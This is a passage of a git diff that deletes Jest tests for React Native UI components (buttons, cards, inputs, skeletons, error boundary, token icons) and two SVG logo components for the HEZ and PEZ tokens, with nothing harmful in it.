it('should show loading state', () => {
const { getByTestId } = render(
<Button title="Loading" loading onPress={() => {}} testID="button" />
);
expect(getByTestId('button')).toBeTruthy();
});
it('should be disabled when loading', () => {
const onPress = jest.fn();
const { getByTestId } = render(
<Button title="Loading" loading onPress={onPress} testID="button" />
);
fireEvent.press(getByTestId('button'));
expect(onPress).not.toHaveBeenCalled();
});
it('should apply custom styles', () => {
const customStyle = { margin: 20 };
const { getByText } = render(<Button title="Styled" style={customStyle} onPress={() => {}} />);
expect(getByText('Styled')).toBeTruthy();
});
it('should handle testID prop', () => {
const { getByTestId } = render(<Button title="Test" testID="button" onPress={() => {}} />);
expect(getByTestId('button')).toBeTruthy();
});
it('should render fullWidth', () => {
const { getByText } = render(<Button title="Full Width" fullWidth onPress={() => {}} />);
expect(getByText('Full Width')).toBeTruthy();
});
it('should render with icon', () => {
const { _getByText, getByTestId } = render(
<Button title="With Icon" icon={<Button title="Icon" onPress={() => {}} />} testID="button" onPress={() => {}} />
);
expect(getByTestId('button')).toBeTruthy();
});
});
@@ -1,72 +0,0 @@
import React from 'react';
import { render } from '@testing-library/react-native';
import { Text } from 'react-native';
import { Card } from '../Card';
describe('Card', () => {
it('should render children', () => {
const { getByText } = render(
<Card>
<Text>Card Content</Text>
</Card>
);
expect(getByText('Card Content')).toBeTruthy();
});
it('should apply custom styles', () => {
const customStyle = { padding: 20 };
const { getByTestId } = render(
<Card style={customStyle} testID="card">
<Text>Styled Card</Text>
</Card>
);
expect(getByTestId('card')).toBeTruthy();
});
it('should render with title', () => {
const { getByText } = render(
<Card title="Card Title">
<Text>Content</Text>
</Card>
);
expect(getByText('Card Title')).toBeTruthy();
});
it('should render multiple children', () => {
const { getByText } = render(
<Card>
<Text>Child 1</Text>
<Text>Child 2</Text>
</Card>
);
expect(getByText('Child 1')).toBeTruthy();
expect(getByText('Child 2')).toBeTruthy();
});
it('should handle testID', () => {
const { getByTestId } = render(
<Card testID="card">
<Text>Content</Text>
</Card>
);
expect(getByTestId('card')).toBeTruthy();
});
it('should render without title', () => {
const { getByText } = render(
<Card>
<Text>No Title</Text>
</Card>
);
expect(getByText('No Title')).toBeTruthy();
});
it('should support elevation', () => {
const { getByTestId } = render(
<Card elevation={4} testID="card">
<Text>Elevated</Text>
</Card>
);
expect(getByTestId('card')).toBeTruthy();
});
});
@@ -1,81 +0,0 @@
import React from 'react';
import { render, screen } from '@testing-library/react-native';
import { Text } from 'react-native';
import { ErrorBoundary } from '../ErrorBoundary';
// Component that throws error for testing
const ThrowError = () => {
throw new Error('Test error');
return null;
};
// Normal component for success case
const SuccessComponent = () => <Text>Success!</Text>;
describe('ErrorBoundary', () => {
// Suppress error console logs during tests
const originalError = console.error;
beforeAll(() => {
console.error = jest.fn();
});
afterAll(() => {
console.error = originalError;
});
it('should render children when no error occurs', () => {
render(
<ErrorBoundary>
<SuccessComponent />
</ErrorBoundary>
);
expect(screen.getByText('Success!')).toBeTruthy();
});
it('should render error UI when child throws error', () => {
render(
<ErrorBoundary>
<ThrowError />
</ErrorBoundary>
);
expect(screen.getByText('Something Went Wrong')).toBeTruthy();
expect(screen.getByText(/An unexpected error occurred/)).toBeTruthy();
});
it('should display try again button on error', () => {
render(
<ErrorBoundary>
<ThrowError />
</ErrorBoundary>
);
expect(screen.getByText('Try Again')).toBeTruthy();
});
it('should render custom fallback if provided', () => {
const CustomFallback = () => <Text>Custom Error UI</Text>;
render(
<ErrorBoundary fallback={<CustomFallback />}>
<ThrowError />
</ErrorBoundary>
);
expect(screen.getByText('Custom Error UI')).toBeTruthy();
});
it('should call onError callback when error occurs', () => {
const onError = jest.fn();
render(
<ErrorBoundary onError={onError}>
<ThrowError />
</ErrorBoundary>
);
expect(onError).toHaveBeenCalled();
expect(onError.mock.calls[0][0].message).toBe('Test error');
});
});
@@ -1,83 +0,0 @@
import React from 'react';
import { render, fireEvent } from '@testing-library/react-native';
import { Input } from '../Input';
describe('Input', () => {
it('should render with placeholder', () => {
const { getByPlaceholderText } = render(<Input placeholder="Enter text" />);
expect(getByPlaceholderText('Enter text')).toBeTruthy();
});
it('should handle value changes', () => {
const onChangeText = jest.fn();
const { getByPlaceholderText } = render(
<Input placeholder="Enter text" onChangeText={onChangeText} />
);
const input = getByPlaceholderText('Enter text');
fireEvent.changeText(input, 'New value');
expect(onChangeText).toHaveBeenCalledWith('New value');
});
it('should render with label', () => {
const { getByText } = render(<Input label="Username" placeholder="Enter username" />);
expect(getByText('Username')).toBeTruthy();
});
it('should render error message', () => {
const { getByText } = render(
<Input placeholder="Email" error="Invalid email" />
);
expect(getByText('Invalid email')).toBeTruthy();
});
it('should be disabled when disabled prop is true', () => {
const onChangeText = jest.fn();
const { getByPlaceholderText } = render(
<Input placeholder="Disabled" disabled onChangeText={onChangeText} />
);
const input = getByPlaceholderText('Disabled');
expect(input.props.editable).toBe(false);
});
it('should handle secure text entry', () => {
const { getByPlaceholderText } = render(
<Input placeholder="Password" secureTextEntry />
);
const input = getByPlaceholderText('Password');
expect(input.props.secureTextEntry).toBe(true);
});
it('should apply custom styles', () => {
const customStyle = { borderWidth: 2 };
const { getByTestId } = render(
<Input placeholder="Styled" style={customStyle} testID="input" />
);
expect(getByTestId('input')).toBeTruthy();
});
it('should handle testID', () => {
const { getByTestId } = render(<Input placeholder="Test" testID="input" />);
expect(getByTestId('input')).toBeTruthy();
});
it('should handle multiline', () => {
const { getByPlaceholderText } = render(
<Input placeholder="Multiline" multiline numberOfLines={4} />
);
const input = getByPlaceholderText('Multiline');
expect(input.props.multiline).toBe(true);
});
it('should handle keyboard type', () => {
const { getByPlaceholderText } = render(
<Input placeholder="Email" keyboardType="email-address" />
);
const input = getByPlaceholderText('Email');
expect(input.props.keyboardType).toBe('email-address');
});
});
@@ -1,56 +0,0 @@
import React from 'react';
import { render } from '@testing-library/react-native';
import { LoadingSkeleton } from '../LoadingSkeleton';
describe('LoadingSkeleton', () => {
it('should render without crashing', () => {
const component = render(<LoadingSkeleton />);
expect(component).toBeTruthy();
});
it('should render with default props', () => {
const { UNSAFE_root } = render(<LoadingSkeleton />);
expect(UNSAFE_root).toBeDefined();
});
it('should render with custom height', () => {
const { UNSAFE_root } = render(<LoadingSkeleton height={100} />);
expect(UNSAFE_root).toBeDefined();
});
it('should render with custom width', () => {
const { UNSAFE_root } = render(<LoadingSkeleton width={200} />);
expect(UNSAFE_root).toBeDefined();
});
it('should render with borderRadius', () => {
const { UNSAFE_root } = render(<LoadingSkeleton borderRadius={10} />);
expect(UNSAFE_root).toBeDefined();
});
it('should apply custom styles', () => {
const customStyle = { marginTop: 20 };
const { UNSAFE_root } = render(<LoadingSkeleton style={customStyle} />);
expect(UNSAFE_root).toBeDefined();
});
it('should render circle variant', () => {
const { UNSAFE_root } = render(<LoadingSkeleton variant="circle" />);
expect(UNSAFE_root).toBeDefined();
});
it('should render text variant', () => {
const { UNSAFE_root } = render(<LoadingSkeleton variant="text" />);
expect(UNSAFE_root).toBeDefined();
});
it('should render rectangular variant', () => {
const { UNSAFE_root } = render(<LoadingSkeleton variant="rectangular" />);
expect(UNSAFE_root).toBeDefined();
});
it('should handle animation', () => {
const { UNSAFE_root } = render(<LoadingSkeleton animated />);
expect(UNSAFE_root).toBeDefined();
});
});
@@ -1,43 +0,0 @@
import React from 'react';
import { render } from '@testing-library/react-native';
import { TokenIcon } from '../TokenIcon';
describe('TokenIcon', () => {
it('should render HEZ token icon', () => {
const { getByText } = render(<TokenIcon symbol="HEZ" />);
expect(getByText('H')).toBeTruthy();
});
it('should render PEZ token icon', () => {
const { getByText } = render(<TokenIcon symbol="PEZ" />);
expect(getByText('P')).toBeTruthy();
});
it('should render USDT token icon', () => {
const { getByText } = render(<TokenIcon symbol="wUSDT" />);
expect(getByText('U')).toBeTruthy();
});
it('should render with custom size', () => {
const { getByTestId } = render(<TokenIcon symbol="HEZ" size={50} testID="token-icon" />);
expect(getByTestId('token-icon')).toBeTruthy();
});
it('should handle testID', () => {
const { getByTestId } = render(<TokenIcon symbol="PEZ" testID="token-icon" />);
expect(getByTestId('token-icon')).toBeTruthy();
});
it('should render unknown token', () => {
const { getByText } = render(<TokenIcon symbol="UNKNOWN" />);
expect(getByText('U')).toBeTruthy();
});
it('should apply custom styles', () => {
const customStyle = { borderRadius: 50 };
const { getByTestId } = render(
<TokenIcon symbol="HEZ" style={customStyle} testID="token-icon" />
);
expect(getByTestId('token-icon')).toBeTruthy();
});
});
@@ -1,17 +0,0 @@
import * as Components from '../index';
describe('Component exports', () => {
it('should export all components', () => {
expect(Components.Badge).toBeDefined();
expect(Components.Button).toBeDefined();
expect(Components.Card).toBeDefined();
expect(Components.Input).toBeDefined();
expect(Components.Skeleton).toBeDefined();
expect(Components.TokenIcon).toBeDefined();
expect(Components.ErrorBoundary).toBeDefined();
expect(Components.BottomSheet).toBeDefined();
expect(Components.AddressDisplay).toBeDefined();
expect(Components.BalanceCard).toBeDefined();
expect(Components.TokenSelector).toBeDefined();
});
});
@@ -1,91 +0,0 @@
import React from 'react';
import Svg, { Circle, Path, Defs, LinearGradient, Stop, G, Text as SvgText, Polygon } from 'react-native-svg';
import { KurdistanColors } from '../../theme/colors';
interface HezTokenLogoProps {
size?: number;
}
/**
* HEZ Token Logo - Matches the official hez_token_512.png design
* Three colored rings (Red, Yellow, Green)
* Two mountains (green and red) with sun rising behind
* "HEZ" text at bottom
*/
const HezTokenLogo: React.FC<HezTokenLogoProps> = ({ size = 56 }) => {
return (
<Svg width={size} height={size} viewBox="0 0 100 100">
<Defs>
<LinearGradient id="hezSunGradient" x1="50%" y1="100%" x2="50%" y2="0%">
<Stop offset="0%" stopColor="#FFD700" />
<Stop offset="100%" stopColor="#FFA500" />
</LinearGradient>
</Defs>
{/* Outer Red Ring */}
<Circle cx="50" cy="50" r="48" fill="none" stroke={KurdistanColors.sor} strokeWidth="4" />
{/* Middle Yellow Ring */}
<Circle cx="50" cy="50" r="42" fill="none" stroke={KurdistanColors.zer} strokeWidth="4" />
{/* Inner Green Ring */}
<Circle cx="50" cy="50" r="36" fill="none" stroke={KurdistanColors.kesk} strokeWidth="4" />
{/* White Background Circle */}
<Circle cx="50" cy="50" r="32" fill={KurdistanColors.spi} />
{/* Sun behind mountains */}
<Circle cx="50" cy="48" r="12" fill="url(#hezSunGradient)" />
{/* Sun Rays */}
<G>
{[...Array(12)].map((_, i) => {
const angle = ((i * 30) - 90) * (Math.PI / 180);
const x1 = 50 + 14 * Math.cos(angle);
const y1 = 48 + 14 * Math.sin(angle);
const x2 = 50 + 20 * Math.cos(angle);
const y2 = 48 + 20 * Math.sin(angle);
// Only show rays above horizon (top half)
if (y2 < 55) {
return (
<Path
key={i}
d={`M ${x1} ${y1} L ${x2} ${y2}`}
stroke={KurdistanColors.zer}
strokeWidth="2"
strokeLinecap="round"
/>
);
}
return null;
})}
</G>
{/* Green Mountain (left, larger) */}
<Polygon
points="25,70 50,35 60,70"
fill={KurdistanColors.kesk}
/>
{/* Red Mountain (right, smaller, in front) */}
<Polygon
points="45,70 65,42 80,70"
fill={KurdistanColors.sor}
/>
{/* HEZ Text */}
<SvgText
x="50"
y="80"
fontSize="14"
fontWeight="bold"
fill={KurdistanColors.zer}
textAnchor="middle"
>
HEZ
</SvgText>
</Svg>
);
};
export default HezTokenLogo;
@@ -1,123 +0,0 @@
import React from 'react';
import Svg, { Circle, Path, Defs, LinearGradient, Stop, G, Ellipse } from 'react-native-svg';
import { KurdistanColors } from '../../theme/colors';
interface PezTokenLogoProps {
size?: number;
}
/**
* PEZ Token Logo - Matches the official pez_token_512.png design
* 6 ovals around (alternating red and green)
* Central sun with rays
* Stylized Pezkuwi (mountain goat) head silhouette
*/
const PezTokenLogo: React.FC<PezTokenLogoProps> = ({ size = 56 }) => {
// Generate 6 ovals positioned around the center
const ovals = [
{ cx: 50, cy: 15, color: KurdistanColors.kesk }, // Top - green
{ cx: 80, cy: 30, color: KurdistanColors.sor }, // Top right - red
{ cx: 80, cy: 70, color: KurdistanColors.kesk }, // Bottom right - green
{ cx: 50, cy: 85, color: KurdistanColors.sor }, // Bottom - red
{ cx: 20, cy: 70, color: KurdistanColors.kesk }, // Bottom left - green
{ cx: 20, cy: 30, color: KurdistanColors.sor }, // Top left - red
];
return (
<Svg width={size} height={size} viewBox="0 0 100 100">
<Defs>
<LinearGradient id="pezSunGradient" x1="50%" y1="100%" x2="50%" y2="0%">
<Stop offset="0%" stopColor="#FFD700" />
<Stop offset="100%" stopColor="#FFA500" />
</LinearGradient>
<LinearGradient id="pezRamGradient" x1="50%" y1="0%" x2="50%" y2="100%">
<Stop offset="0%" stopColor="#C4A35A" />
<Stop offset="50%" stopColor="#8B7355" />
<Stop offset="100%" stopColor="#5D4E37" />
</LinearGradient>
</Defs>
{/* White background */}
<Circle cx="50" cy="50" r="48" fill={KurdistanColors.spi} />
{/* 6 Ovals around */}
{ovals.map((oval, i) => (
<Ellipse
key={i}
cx={oval.cx}
cy={oval.cy}
rx="12"
ry="8"
fill={oval.color}
transform={`rotate(${i * 60}, ${oval.cx}, ${oval.cy})`}
/>
))}
{/* Sun rays behind ram */}
<G>
{[...Array(16)].map((_, i) => {
const angle = (i * 22.5) * (Math.PI / 180);
const x1 = 50 + 18 * Math.cos(angle);
const y1 = 50 + 18 * Math.sin(angle);
const x2 = 50 + 28 * Math.cos(angle);
const y2 = 50 + 28 * Math.sin(angle);
return (
<Path
key={i}
d={`M ${x1} ${y1} L ${x2} ${y2}`}
stroke={KurdistanColors.zer}
strokeWidth="3"
strokeLinecap="round"
/>
);
})}
</G>
{/* Central circle for ram */}
<Circle cx="50" cy="50" r="18" fill="url(#pezRamGradient)" />
{/* Stylized Ram/Goat head silhouette */}
{/* Ram face */}
<Ellipse cx="50" cy="52" rx="10" ry="12" fill="#D4A96A" />
{/* Ram horns - left */}
<Path
d="M 40 45 Q 32 38 30 48 Q 28 55 35 52"
fill="none"
stroke="#8B7355"
strokeWidth="4"
strokeLinecap="round"
/>
{/* Ram horns - right */}
<Path
d="M 60 45 Q 68 38 70 48 Q 72 55 65 52"
fill="none"
stroke="#8B7355"
strokeWidth="4"
strokeLinecap="round"
/>
{/* Ram ears - left */}
<Ellipse cx="38" cy="48" rx="3" ry="5" fill="#C4A35A" />
{/* Ram ears - right */}
<Ellipse cx="62" cy="48" rx="3" ry="5" fill="#C4A35A" />
{/* Ram eyes - left */}
<Circle cx="45" cy="50" r="2" fill="#2D2D2D" />
{/* Ram eyes - right */}
<Circle cx="55" cy="50" r="2" fill="#2D2D2D" />
{/* Ram nose */}
<Ellipse cx="50" cy="58" rx="4" ry="3" fill="#8B6914" />
{/* Ram nostrils */}
<Circle cx="48" cy="58" r="1" fill="#5D4E37" />
<Circle cx="52" cy="58" r="1" fill="#5D4E37" />
</Svg>
);
};
export default PezTokenLogo;
-2
View File
@@ -1,2 +0,0 @@
export { default as HezTokenLogo } from './HezTokenLogo';
export { default as PezTokenLogo } from './PezTokenLogo';

Some files were not shown because too many files have changed in this diff Show More